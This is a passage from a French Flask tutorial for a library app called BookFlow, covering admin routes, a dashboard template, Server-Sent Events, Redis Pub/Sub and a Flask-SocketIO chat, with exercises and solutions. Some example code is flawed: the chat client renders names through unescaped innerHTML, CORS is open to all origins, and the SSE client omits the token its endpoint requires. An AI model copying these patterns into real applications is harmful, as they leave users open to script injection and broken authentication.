          users_data.append(data)

      return jsonify({
          'success': True,
          'data': users_data,
          'meta': {
              'total':   pagination.total,
              'page':    page,
              'pages':   pagination.pages
          }
      })

  @admin_bp.route('/utilisateurs/<int:user_id>/role', methods=['PATCH'])
  @admin_requis
  def changer_role(user_id):
      """Changer le rôle d'un utilisateur."""
      current_admin = obtenir_utilisateur_courant()
      user = db.get_or_404(Utilisateur, user_id)
      data = request.get_json(silent=True) or {}

      nouveau_role = data.get('role')
      roles_valides = {'user', 'admin', 'moderateur'}
      if nouveau_role not in roles_valides:
          return jsonify({'error': f'Rôle invalide. Valeurs : {roles_valides}'}), 400

      # Impossible de se downgrader soi-même
      if user.id == current_admin.id and nouveau_role != 'admin':
          return jsonify({'error': 'Vous ne pouvez pas changer votre propre rôle'}), 403

      ancien_role = user.role
      user.role = nouveau_role
      db.session.commit()

      from flask import current_app
      current_app.logger.info(
          f"[ADMIN] Rôle de user {user.email} changé : {ancien_role} -> {nouveau_role} "
          f"par admin {current_admin.email}"
      )

      return jsonify({
          'success': True,
          'message': f'Rôle de {user.nom} changé en {nouveau_role}',
          'data': user.to_dict()
      })

  @admin_bp.route('/emprunts/marquer-retards', methods=['POST'])
  @admin_requis
  def marquer_retards():
      """Marque tous les emprunts dépassés comme 'en_retard'."""
      maintenant = datetime.now(timezone.utc)
      nb = Emprunt.query.filter(
          Emprunt.statut == 'en_cours',
          Emprunt.date_retour_prevue < maintenant
      ).update({'statut': 'en_retard'}, synchronize_session='fetch')
      db.session.commit()

      return jsonify({
          'success': True,
          'emprunts_marques': nb,
          'message': f'{nb} emprunt(s) marqué(s) en retard'
      })


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  2⃣  DASHBOARD HTML (INTERFACE WEB ADMIN)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  {# templates/admin/dashboard.html #}
  {% extends "base.html" %}
  {% block titre %}Dashboard Administrateur{% endblock %}

  {% block css_extra %}
  <link rel="stylesheet" href="{{ url_for('static', filename='css/admin.css') }}">
  {% endblock %}

  {% block contenu %}
  <div class="admin-wrapper">

    <header class="admin-header">
      <h1>[GRAPHIQUE] Dashboard BookFlow</h1>
      <p class="text-muted">Mise à jour : {{ stats.mis_a_jour[:19] | replace('T',' ') }}</p>
    </header>

    {# Métriques rapides #}
    <div class="metriques-grid">
      <div class="metrique-card">
        <span class="metrique-icone">[DOCS]</span>
        <span class="metrique-valeur">{{ stats.livres.total }}</span>
        <span class="metrique-label">Livres au total</span>
        <span class="metrique-sub">{{ stats.livres.disponibles }} disponibles</span>
      </div>
      <div class="metrique-card">
        <span class="metrique-icone">[UTILISATEURS]</span>
        <span class="metrique-valeur">{{ stats.utilisateurs.total }}</span>
        <span class="metrique-label">Utilisateurs</span>
        <span class="metrique-sub">+{{ stats.utilisateurs.nouveaux_7j }} cette semaine</span>
      </div>
      <div class="metrique-card">
        <span class="metrique-icone">[GUIDE]</span>
        <span class="metrique-valeur">{{ stats.emprunts.actifs }}</span>
        <span class="metrique-label">Emprunts en cours</span>
        {% if stats.emprunts.en_retard > 0 %}
        <span class="metrique-sub alert-retard">[ATTENTION] {{ stats.emprunts.en_retard }} en retard</span>
        {% endif %}
      </div>
      <div class="metrique-card">
        <span class="metrique-icone">[HAUSSE]</span>
        <span class="metrique-valeur">{{ stats.livres.taux_utilisation }}%</span>
        <span class="metrique-label">Taux d'utilisation</span>
        <span class="metrique-sub">{{ stats.emprunts.ce_mois }} emprunts ce mois</span>
      </div>
    </div>

    <div class="admin-grid-2col">

      {# Top livres #}
      <div class="admin-card">
        <h2>[TROPHEE] Top 5 Livres Empruntés</h2>
        <table class="admin-table">
          <thead>
            <tr><th>#</th><th>Titre</th><th>Auteur</th><th>Emprunts</th></tr>
          </thead>
          <tbody>
            {% for livre in stats.top_livres %}
            <tr>
              <td>{{ loop.index }}</td>
              <td><a href="{{ url_for('web_livres.detail', livre_id=livre.id) }}">{{ livre.titre }}</a></td>
              <td>{{ livre.auteur }}</td>
              <td><span class="badge-count">{{ livre.nb_emprunts }}</span></td>
            </tr>
            {% endfor %}
          </tbody>
        </table>
      </div>

      {# Répartition par genre #}
      <div class="admin-card">
        <h2>[DOSSIER] Catalogue par Genre</h2>
        {% for g in stats.par_genre %}
        <div class="genre-bar">
          <div class="genre-label">{{ g.genre | title }}</div>
          <div class="genre-progress">
            <div class="genre-fill"
                 style="width: {{ (g.disponibles / g.total * 100) | round }}%">
            </div>
          </div>
          <div class="genre-stats">{{ g.disponibles }}/{{ g.total }}</div>
        </div>
        {% endfor %}
      </div>

    </div>

    {# Actions rapides #}
    <div class="admin-card">
      <h2>[RAPIDE] Actions Rapides</h2>
      <div class="actions-grid">
        <a href="{{ url_for('admin.web_livres') }}" class="action-btn">
          [DOCS] Gérer les livres
        </a>
        <a href="{{ url_for('admin.web_utilisateurs') }}" class="action-btn">
          [UTILISATEURS] Gérer les utilisateurs
        </a>
        <button class="action-btn action-danger"
                onclick="marquerRetards()">
          [ATTENTION] Marquer les retards
        </button>
        <a href="{{ url_for('admin.web_export') }}" class="action-btn">
          [SORTIE] Exporter les données
        </a>
      </div>
    </div>

  </div>
  {% endblock %}

  {% block js_extra %}
  <script>
  async function marquerRetards() {
      if (!confirm('Marquer tous les emprunts dépassés comme "en retard" ?')) return;
      const token = document.querySelector('meta[name="jwt-token"]')?.content;
      const r = await fetch('/api/v1/admin/emprunts/marquer-retards', {
          method: 'POST',
          headers: {'Authorization': `Bearer ${token}`}
      });
      const data = await r.json();
      alert(`${data.emprunts_marques} emprunt(s) marqué(s) en retard`);
      location.reload();
  }
  </script>
  {% endblock %}


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  3⃣  EXERCICES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

NIVEAU FACILE :
  Exercice 50.1 : Implémente GET /admin/emprunts qui liste tous les emprunts
    avec filtres (statut, user_id, livre_id, en_retard).
    Inclure les noms d'utilisateurs et titres de livres.

  Exercice 50.2 : Crée la page web admin/utilisateurs.html qui affiche
    la liste des utilisateurs avec une barre de recherche.
    Boutons pour activer/désactiver un compte.

NIVEAU INTERMÉDIAIRE :
  Exercice 50.3 : Implémente GET /admin/rapport/mensuel qui génère
    un rapport CSV avec les emprunts du mois :
    utilisateur, livre, dates, durée, retard ou non.

  Exercice 50.4 : Crée un graphique d'évolution des emprunts sur 30 jours
    dans le dashboard admin (utiliser Chart.js côté client).

NIVEAU AVANCÉ :
  Exercice 50.5 : Implémente un système de notifications admin :
    - Alerte si nb de livres disponibles < 20%
    - Alerte si utilisateur a > 5 emprunts en retard
    - Rapport quotidien par email à l'admin

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  [10] CORRIGÉS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

CORRIGÉ 50.3 — Rapport CSV mensuel :

  import csv, io
  from flask import Response

  @admin_bp.route('/rapport/mensuel', methods=['GET'])
  @admin_requis
  def rapport_mensuel():
      """Génère un rapport CSV des emprunts du mois."""
      maintenant = datetime.now(timezone.utc)
      annee  = request.args.get('annee',  maintenant.year,  type=int)
      mois   = request.args.get('mois',   maintenant.month, type=int)

      debut = datetime(annee, mois, 1, tzinfo=timezone.utc)
      if mois == 12:
          fin = datetime(annee + 1, 1, 1, tzinfo=timezone.utc)
      else:
          fin = datetime(annee, mois + 1, 1, tzinfo=timezone.utc)

      emprunts = Emprunt.query.filter(
          Emprunt.created_at >= debut,
          Emprunt.created_at < fin
      ).options(
          joinedload(Emprunt.livre),
          joinedload(Emprunt.utilisateur)
      ).order_by(Emprunt.created_at).all()

      buf = io.StringIO()
      writer = csv.writer(buf)

      # En-têtes
      writer.writerow([
          'ID', 'Utilisateur', 'Email', 'Livre', 'Auteur',
          'Date Emprunt', 'Date Retour Prévue', 'Date Retour Réelle',
          'Statut', 'Retard (jours)'
      ])

      for e in emprunts:
          retard_jours = 0
          if e.date_retour_reelle and e.date_retour_prevue:
              delta = e.date_retour_reelle - e.date_retour_prevue
              retard_jours = max(0, delta.days)

          writer.writerow([
              e.id,
              e.utilisateur.nom if e.utilisateur else 'Inconnu',
              e.utilisateur.email if e.utilisateur else '',
              e.livre.titre if e.livre else 'Inconnu',
              e.livre.auteur if e.livre else '',
              e.date_debut.strftime('%d/%m/%Y') if e.date_debut else '',
              e.date_retour_prevue.strftime('%d/%m/%Y') if e.date_retour_prevue else '',
              e.date_retour_reelle.strftime('%d/%m/%Y') if e.date_retour_reelle else '',
              e.statut,
              retard_jours
          ])

      return Response(
          buf.getvalue(),
          mimetype='text/csv; charset=utf-8',
          headers={
              'Content-Disposition': f'attachment; filename="rapport_{annee}_{mois:02d}.csv"'
          }
      )


╔══════════════════════════════════════════════════════════════════════════════════════╗
║              [OBJECTIF] BOOKFLOW V1.0 — APPLICATION COMPLÈTE                             ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  CE QUE BOOKFLOW PEUT FAIRE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  POUR LES UTILISATEURS :
  [OK] Inscription / Connexion sécurisée (bcrypt + JWT)
  [OK] 2FA optionnel (TOTP via Google Authenticator)
  [OK] Parcourir le catalogue (filtres, recherche, tri)
  [OK] Voir les détails d'un livre (note, avis, similaires)
  [OK] Emprunter des livres (selon plan d'abonnement)
  [OK] Retourner des livres
  [OK] Poster des avis et noter les livres
  [OK] Voir son historique d'emprunts
  [OK] Gérer son profil et son mot de passe
  [OK] Voir ses recommandations personnalisées

  POUR LES ADMINISTRATEURS :
  [OK] Dashboard avec métriques en temps réel
  [OK] Gérer le catalogue (CRUD livres + import en masse)
  [OK] Gérer les utilisateurs (rôles, activation/désactivation)
  [OK] Suivre tous les emprunts
  [OK] Marquer les retards automatiquement
  [OK] Générer des rapports CSV
  [OK] Restaurer les livres supprimés

  TECHNIQUE :
  [OK] API REST versionnée (v1)
  [OK] Documentation Swagger interactive (/api/v1/docs)
  [OK] Rate limiting par IP
  [OK] Cache Redis
  [OK] Compression gzip
  [OK] Tests automatisés (~155 tests, >85% couverture)
  [OK] CI/CD avec GitHub Actions
  [OK] Déployable avec Docker ou sur VPS Ubuntu
  [OK] SSL/HTTPS avec Let's Encrypt


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  FIN DE LA PARTIE 15 — PROJET RÉEL

  [DOCS] Tu as appris :
     -> API complète : 45 endpoints documentés, tous implémentés
     -> Endpoints emprunts : vérifications métier complètes (disponibilité,
       limites selon abonnement, doublons, dates)
     -> Endpoints avis : statistiques par note (distribution 1-5 étoiles),
       modification et suppression sécurisée
     -> SaaS Backend : modèle PlanAbonnement et Abonnement, AbonnementService,
       décorateur @abonnement_requis, intégration Stripe (Checkout + Webhooks)
     -> Admin Dashboard : métriques clés (taux utilisation, évolution 30j,
       top livres), gestion utilisateurs avec stats, changement de rôles,
       marquage des retards, rapport CSV mensuel
     -> Templates admin : interface HTML avec barres de progression et actions JS

  -> Prochaine étape : Partie 16 — Avancé (WebSockets, tâches async, Celery)

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
              Flask Master Guide © 2024 — Guide Complet Génie Logiciel
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

╔══════════════════════════════════════════════════════════════════════════════════════╗
║              FLASK MASTER GUIDE — PARTIE 16 : AVANCÉ                             ║
║         WebSockets, Tâches Asynchrones avec Celery et Flask-SocketIO             ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

Partie         : 16 / 20
Chapitres      : 51 -> 53
Prérequis      : Toutes les parties précédentes
Projet fil     : BookFlow — Temps réel et traitement asynchrone

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
                          TABLE DES MATIÈRES — PARTIE 16
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  CHAPITRE 51 — Server-Sent Events (SSE) : push de données vers le client
  CHAPITRE 52 — Flask-SocketIO : communication bidirectionnelle temps réel
  CHAPITRE 53 — Celery : tâches asynchrones et planifiées

  PROJET FIL ROUGE — BookFlow : notifications temps réel et emails asynchrones

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━


╔══════════════════════════════════════════════════════════════════════════════════════╗
║              CHAPITRE 51 — SERVER-SENT EVENTS (SSE)                               ║
║     Envoyer des données du serveur vers le client sans WebSocket                  ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  1⃣  INTRODUCTION PÉDAGOGIQUE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

QU'EST-CE QUE SSE ?
────────────────────
SSE (Server-Sent Events) est un protocole HTTP standard qui permet
au serveur d'envoyer des données au client en continu, sur une connexion
HTTP persistante unidirectionnelle (serveur -> client uniquement).

COMPARAISON SSE vs WEBSOCKETS vs POLLING :

  POLLING (classique) :
  Client -> Serveur -> Client -> Serveur (toutes les N secondes)
  -> Simple mais inefficace (beaucoup de requêtes inutiles)

  SSE (Server-Sent Events) :
  Client se connecte -> Serveur pousse les données en continu
  -> Unidirectionnel (serveur -> client)
  -> HTTP standard (pas de protocole spécial)
  -> Reconnexion automatique

  WebSocket :
  Connexion bidirectionnelle persistante (client <-> serveur)
  -> Bidirectionnel (chat, jeux en temps réel)
  -> Protocole différent d'HTTP (ws://)
  -> Plus complexe à implémenter

QUAND UTILISER SSE POUR BOOKFLOW :
  [OK] Notifications : "Le livre X est maintenant disponible"
  [OK] Mises à jour en direct : compteur d'emprunts en cours
  [OK] Alertes admin : nouveau utilisateur inscrit
  [OK] Progression d'un import massif de livres


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  2⃣  IMPLÉMENTATION SSE AVEC FLASK
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

FORMAT SSE :
  Les événements SSE sont envoyés sous forme de texte avec un format précis :
    data: {"type": "notification", "message": "Livre disponible"}\n\n
    ^                                                               ^
  Chaque ligne commence par "data: "        Double \n = fin d'événement

IMPLÉMENTATION FLASK :

  # app/routes/api/v1/notifications.py
  import json, time, queue, threading
  from flask import Blueprint, Response, request, stream_with_context
  from app.utils.jwt_utils import login_requis, obtenir_utilisateur_courant

  notifs_bp = Blueprint('notifications', __name__)

  # File de messages par utilisateur (en mémoire pour la démo)
  # En production : utiliser Redis Pub/Sub
  _queues_utilisateurs: dict[int, queue.Queue] = {}
  _lock = threading.Lock()

  def obtenir_queue(user_id: int) -> queue.Queue:
      """Crée ou récupère la queue de messages d'un utilisateur."""
      with _lock:
          if user_id not in _queues_utilisateurs:
              _queues_utilisateurs[user_id] = queue.Queue(maxsize=100)
          return _queues_utilisateurs[user_id]

  def envoyer_notification(user_id: int, type_notif: str, donnees: dict):
      """
      Envoie une notification à un utilisateur connecté via SSE.
      Si l'utilisateur n'est pas connecté, la notification est ignorée.
      """
      q = _queues_utilisateurs.get(user_id)
      if q:
          try:
              q.put_nowait({
                  'type':    type_notif,
                  'data':    donnees,
                  'ts':      time.time()
              })
          except queue.Full:
              pass  # Queue pleine, ignorer

  def formater_sse(donnees: dict, event: str = None, id_: int = None) -> str:
      """
      Formate un événement au format SSE standard.

      Format :
        id: 42\n           (optionnel — pour la reconnexion)
        event: message\n   (optionnel — type d'événement)
        data: {json}\n\n   (obligatoire)
      """
      lignes = []
      if id_ is not None:
          lignes.append(f'id: {id_}')
      if event:
          lignes.append(f'event: {event}')
      lignes.append(f'data: {json.dumps(donnees, ensure_ascii=False)}')
      return '\n'.join(lignes) + '\n\n'

  @notifs_bp.route('/stream', methods=['GET'])
  @login_requis
  def stream_notifications():
      """
      GET /api/v1/notifications/stream
      Connexion SSE pour recevoir les notifications en temps réel.

      Headers requis :
        Authorization: Bearer <token>
        Accept: text/event-stream
      """
      user = obtenir_utilisateur_courant()
      q = obtenir_queue(user.id)

      def generer():
          """Générateur de flux SSE."""
          # Événement de connexion initial
          yield formater_sse(
              {'type': 'connected', 'message': f'Bonjour {user.nom} !'},
              event='connected'
          )

          # Heartbeat toutes les 30s pour garder la connexion ouverte
          # (Les proxies ferment les connexions inactives)
          dernier_heartbeat = time.time()
          event_id = 0

          while True:
              try:
                  # Attendre un message pendant 1 seconde max
                  message = q.get(timeout=1.0)
                  event_id += 1
                  yield formater_sse(message, id_=event_id)

              except queue.Empty:
                  # Pas de message -> envoyer un heartbeat si nécessaire
                  maintenant = time.time()
                  if maintenant - dernier_heartbeat > 30:
                      yield ': heartbeat\n\n'  # Commentaire SSE (ignoré par le client)
                      dernier_heartbeat = maintenant

      return Response(
          stream_with_context(generer()),
          content_type='text/event-stream',
          headers={
              'Cache-Control':  'no-cache',
              'X-Accel-Buffering': 'no',  # Nginx : désactiver le buffering
              'Connection':     'keep-alive',
              'Transfer-Encoding': 'chunked'
          }
      )

  @notifs_bp.route('/test', methods=['POST'])
  @login_requis
  def test_notification():
      """Route de test pour envoyer une notification à soi-même."""
      user = obtenir_utilisateur_courant()
      envoyer_notification(user.id, 'test', {
          'message': 'Ceci est une notification de test !',
          'timestamp': time.time()
      })
      return jsonify({'success': True, 'message': 'Notification envoyée'})


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  3⃣  SSE AVEC REDIS PUB/SUB (PRODUCTION)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

En production avec plusieurs workers Gunicorn, les queues en mémoire
ne fonctionnent plus (chaque worker a sa propre mémoire).
Redis Pub/Sub est la solution.

  # app/utils/notifications_redis.py
  import json, threading
  from app.utils.redis_client import redis_client

  def publier_notification(user_id: int, type_notif: str, donnees: dict):
      """Publie une notification via Redis Pub/Sub."""
      canal = f'bookflow:notifs:user:{user_id}'
      message = json.dumps({
          'type': type_notif,
          'data': donnees
      })
      redis_client.publish(canal, message)

  def s_abonner_notifications(user_id: int):
      """
      Générateur qui s'abonne aux notifications d'un utilisateur via Redis.
      Utilisé dans le endpoint SSE.
      """
      canal = f'bookflow:notifs:user:{user_id}'
      pubsub = redis_client.pubsub()
      pubsub.subscribe(canal)

      try:
          for message in pubsub.listen():
              if message['type'] == 'message':
                  yield json.loads(message['data'])
      finally:
          pubsub.unsubscribe(canal)
          pubsub.close()

  # Route SSE avec Redis
  @notifs_bp.route('/stream')
  @login_requis
  def stream_redis():
      user = obtenir_utilisateur_courant()

      def generer():
          yield formater_sse({'type': 'connected'}, event='connected')

          for notif in s_abonner_notifications(user.id):
              yield formater_sse(notif)

      return Response(
          stream_with_context(generer()),
          content_type='text/event-stream',
          headers={'Cache-Control': 'no-cache', 'X-Accel-Buffering': 'no'}
      )


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  4⃣  CLIENT JAVASCRIPT SSE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // static/js/notifications.js

  class GestionnaireNotifications {
      constructor(token) {
          this.token = token;
          this.eventSource = null;
          this.handlers = {};
      }

      connecter() {
          if (this.eventSource) return;

          // Connexion SSE (token dans l'URL car EventSource ne supporte pas les headers)
          // Alternative : stocker le token dans un cookie accessible en JS
          this.eventSource = new EventSource(
              `/api/v1/notifications/stream`,
              // Note : EventSource ne supporte pas les headers custom
              // Solution : utiliser un token dans un cookie ou un paramètre URL signé
          );

          this.eventSource.onopen = () => {
              console.log('Notifications connectées');
              this.afficherIndicateur(true);
          };

          this.eventSource.onmessage = (event) => {
              const data = JSON.parse(event.data);
              this.traiterNotification(data);
          };

          this.eventSource.addEventListener('connected', (event) => {
              const data = JSON.parse(event.data);
              console.log(data.message);
          });

          this.eventSource.onerror = (error) => {
              console.error('Erreur SSE, reconnexion dans 5s...');
              this.afficherIndicateur(false);
              // EventSource se reconnecte automatiquement !
          };
      }

      traiterNotification(notif) {
          const { type, data } = notif;

          // Afficher une notification toast
          this.afficherToast(data.message || type, type);

          // Appeler le handler spécifique si défini
          if (this.handlers[type]) {
              this.handlers[type](data);
          }

          // Badge de notification non-lues
          const badge = document.getElementById('notif-badge');
          if (badge) {
              const count = parseInt(badge.textContent || '0') + 1;
              badge.textContent = count;
              badge.classList.add('visible');
          }
      }

      on(type, handler) {
          this.handlers[type] = handler;
          return this;
      }

      deconnecter() {
          if (this.eventSource) {
              this.eventSource.close();
              this.eventSource = null;
          }
      }

      afficherToast(message, type = 'info') {
          const toast = document.createElement('div');
          toast.className = `toast toast-${type}`;
          toast.textContent = message;
          document.body.appendChild(toast);
          setTimeout(() => toast.remove(), 5000);
      }

      afficherIndicateur(connecte) {
          const indicateur = document.getElementById('notif-status');
          if (indicateur) {
              indicateur.className = connecte ? 'status-green' : 'status-red';
          }
      }
  }

  // Initialisation
  const notifs = new GestionnaireNotifications(jwtToken);
  notifs
      .on('livre_disponible', (data) => {
          document.getElementById(`btn-emprunter-${data.livre_id}`)
              ?.removeAttribute('disabled');
      })
      .on('emprunt_retard', (data) => {
          window.location.href = `/emprunts/${data.emprunt_id}`;
      })
      .connecter();


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  5⃣  EXERCICES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

NIVEAU FACILE :
  Exercice 51.1 : Implémente le endpoint SSE /notifications/stream.
    Connecte-toi avec curl : curl -N http://localhost:5000/api/v1/notifications/stream
    Envoie une notification avec POST /notifications/test.
    Observe la réception en temps réel.

  Exercice 51.2 : Ajoute les notifications SSE dans l'Event Bus BookFlow.
    Quand un livre est retourné -> notifier les utilisateurs ayant
    ce livre en liste d'attente : "Le livre X est maintenant disponible !"

  Exercice 51.3 : Implémente un endpoint SSE de progression d'import.
    POST /admin/livres/import -> retourne un job_id
    GET /admin/jobs/<job_id>/progress -> SSE avec {"progress": 45, "message": "..."}

NIVEAU INTERMÉDIAIRE :
  Exercice 51.4 : Implémente le SSE avec Redis Pub/Sub pour supporter
    plusieurs workers Gunicorn. Teste avec 2 workers parallèles.

NIVEAU AVANCÉ :
  Exercice 51.5 : Crée un tableau de bord admin en temps réel.
    Métriques qui se mettent à jour en SSE :
    - Nombre d'emprunts actifs (incrémente en temps réel)
    - Dernière connexion utilisateur
    - Alertes automatiques (retards, stock faible)

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  [10] CORRIGÉS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

CORRIGÉ 51.2 — Notification livre disponible :

  # Dans EmpruntService.retourner_livre() :
  from app.utils.notifications_redis import publier_notification
  from app.models import ReservationAttente  # Modèle liste d'attente

  def retourner_livre(emprunt_id: int, user_id: int):
      emprunt = Emprunt.query.get_or_404(emprunt_id)
      # ... logique de retour ...
      livre = emprunt.livre
      livre.disponible = True
      db.session.commit()

      # Notifier les utilisateurs en attente de ce livre
      attentes = ReservationAttente.query.filter_by(
          livre_id=livre.id, statut='en_attente'
      ).order_by(ReservationAttente.created_at).all()

      for attente in attentes:
          publier_notification(attente.user_id, 'livre_disponible', {
              'livre_id':  livre.id,
              'titre':     livre.titre,
              'auteur':    livre.auteur,
              'message':   f'[DOCS] « {livre.titre} » est maintenant disponible !',
              'url':       f'/livres/{livre.id}'
          })


╔══════════════════════════════════════════════════════════════════════════════════════╗
║              CHAPITRE 52 — FLASK-SOCKETIO                                         ║
║     Communication bidirectionnelle en temps réel                                  ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  1⃣  FLASK-SOCKETIO — INSTALLATION ET CONFIG
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  pip install flask-socketio eventlet
  # eventlet : serveur async requis pour SocketIO

  # app/extensions.py
  from flask_socketio import SocketIO

  socketio = SocketIO()

  # app/__init__.py
  def create_app(config_name='development'):
      app = Flask(__name__)
      # ...
      socketio.init_app(
          app,
          cors_allowed_origins='*',
          async_mode='eventlet',      # ou 'gevent', 'threading'
          message_queue=os.getenv('REDIS_URL'),  # Pour multi-workers
          logger=app.debug,
          engineio_logger=app.debug
      )
      return app

  # run.py — IMPORTANT : utiliser socketio.run() pas app.run()
  from app import create_app
  from app.extensions import socketio

  app = create_app()

  if __name__ == '__main__':
      socketio.run(app, debug=True, host='0.0.0.0', port=5000)


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  2⃣  CHAT EN TEMPS RÉEL — EXEMPLE COMPLET
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # app/sockets/chat.py
  from flask_socketio import SocketIO, emit, join_room, leave_room, send
  from flask import request
  from app.extensions import socketio, db
  from app.models import Utilisateur

  # Stockage des connexions (en mémoire — Redis en prod)
  _utilisateurs_connectes: dict[str, dict] = {}  # {sid: {user_id, nom, room}}

  @socketio.on('connect')
  def on_connect(auth):
      """Un client se connecte."""
      # Vérifier le token JWT
      token = auth.get('token') if auth else None
      if not token:
          return False  # Refuser la connexion

      from flask_jwt_extended import decode_token
      try:
          claims = decode_token(token)
          user_id = int(claims['sub'])
          user = Utilisateur.query.get(user_id)
          if not user or not user.est_actif:
              return False
      except Exception:
          return False

      # Enregistrer la connexion
      _utilisateurs_connectes[request.sid] = {
          'user_id': user.id,
          'nom':     user.nom,
          'room':    None
      }

      emit('connected', {
          'message': f'Bienvenue {user.nom} !',
          'total_connectes': len(_utilisateurs_connectes)
      })

      # Notifier tout le monde
      emit('user_joined', {'nom': user.nom}, broadcast=True, include_self=False)

  @socketio.on('disconnect')
  def on_disconnect():
      """Un client se déconnecte."""
      user_info = _utilisateurs_connectes.pop(request.sid, {})
      if user_info:
          emit('user_left', {'nom': user_info['nom']}, broadcast=True)

  @socketio.on('rejoindre_salle')
  def on_rejoindre_salle(data):
      """Rejoindre une salle de discussion (par genre de livre par exemple)."""
      salle = data.get('salle', 'general')
      user_info = _utilisateurs_connectes.get(request.sid)
      if not user_info:
          return

      # Quitter l'ancienne salle si nécessaire
      ancienne_salle = user_info.get('room')
      if ancienne_salle:
          leave_room(ancienne_salle)

      join_room(salle)
      user_info['room'] = salle

      emit('rejoint_salle', {'salle': salle, 'nom': user_info['nom']}, room=salle)

  @socketio.on('message')
  def on_message(data):
      """Reçoit et diffuse un message dans la salle."""
      user_info = _utilisateurs_connectes.get(request.sid)
      if not user_info:
          return

      texte = str(data.get('texte', '')).strip()
      if not texte or len(texte) > 500:
          return

      # Sanitiser le message
      import bleach
      texte_propre = bleach.clean(texte, tags=[], strip=True)

      salle = user_info.get('room', 'general')

      # Diffuser dans la salle
      emit('nouveau_message', {
          'auteur': user_info['nom'],
          'texte':  texte_propre,
          'ts':     __import__('time').time()
      }, room=salle)

  @socketio.on('livre_consulte')
  def on_livre_consulte(data):
      """Un utilisateur consulte un livre — diffuser à l'admin en temps réel."""
      user_info = _utilisateurs_connectes.get(request.sid)
      livre_id = data.get('livre_id')

      if user_info and livre_id:
          # Notifier la salle admin
          emit('activite', {
              'type': 'consultation',
              'user': user_info['nom'],
              'livre_id': livre_id
          }, room='admin_dashboard')


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  3⃣  CLIENT JAVASCRIPT SOCKETIO
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // Dans le HTML :
  // <script src="https://cdnjs.cloudflare.com/ajax/libs/socket.io/4.7.2/socket.io.min.js"></script>

  // static/js/chat.js
  const socket = io({
      auth: { token: jwtToken },  // Authentification au handshake
      reconnection: true,
      reconnectionDelay: 1000,
      reconnectionAttempts: 5
  });

  // Événements de connexion
  socket.on('connect', () => {
      console.log('Connecté au serveur SocketIO');
      socket.emit('rejoindre_salle', { salle: 'science-fiction' });
  });

  socket.on('disconnect', (reason) => {
      console.log('Déconnecté :', reason);
  });

  socket.on('connect_error', (error) => {
      console.error('Erreur de connexion :', error.message);
  });

  // Recevoir des messages
  socket.on('nouveau_message', (data) => {
      afficherMessage(data.auteur, data.texte, new Date(data.ts * 1000));
  });

  socket.on('user_joined', (data) => {
      afficherSystemMessage(`${data.nom} a rejoint la salle`);
  });

  // Envoyer un message
  document.getElementById('btn-envoyer').addEventListener('click', () => {
      const input = document.getElementById('input-message');
      const texte = input.value.trim();
      if (texte) {
          socket.emit('message', { texte });
          input.value = '';
      }
  });

  function afficherMessage(auteur, texte, date) {
      const div = document.createElement('div');
      div.className = 'message';
      div.innerHTML = `
          <span class="auteur">${auteur}</span>
          <span class="texte">${texte}</span>
          <span class="heure">${date.toLocaleTimeString()}</span>
      `;
      document.getElementById('messages').appendChild(div);
      div.scrollIntoView();
  }


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  4⃣  EXERCICES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

NIVEAU FACILE :
  Exercice 52.1 : Installe Flask-SocketIO et configure l'application.
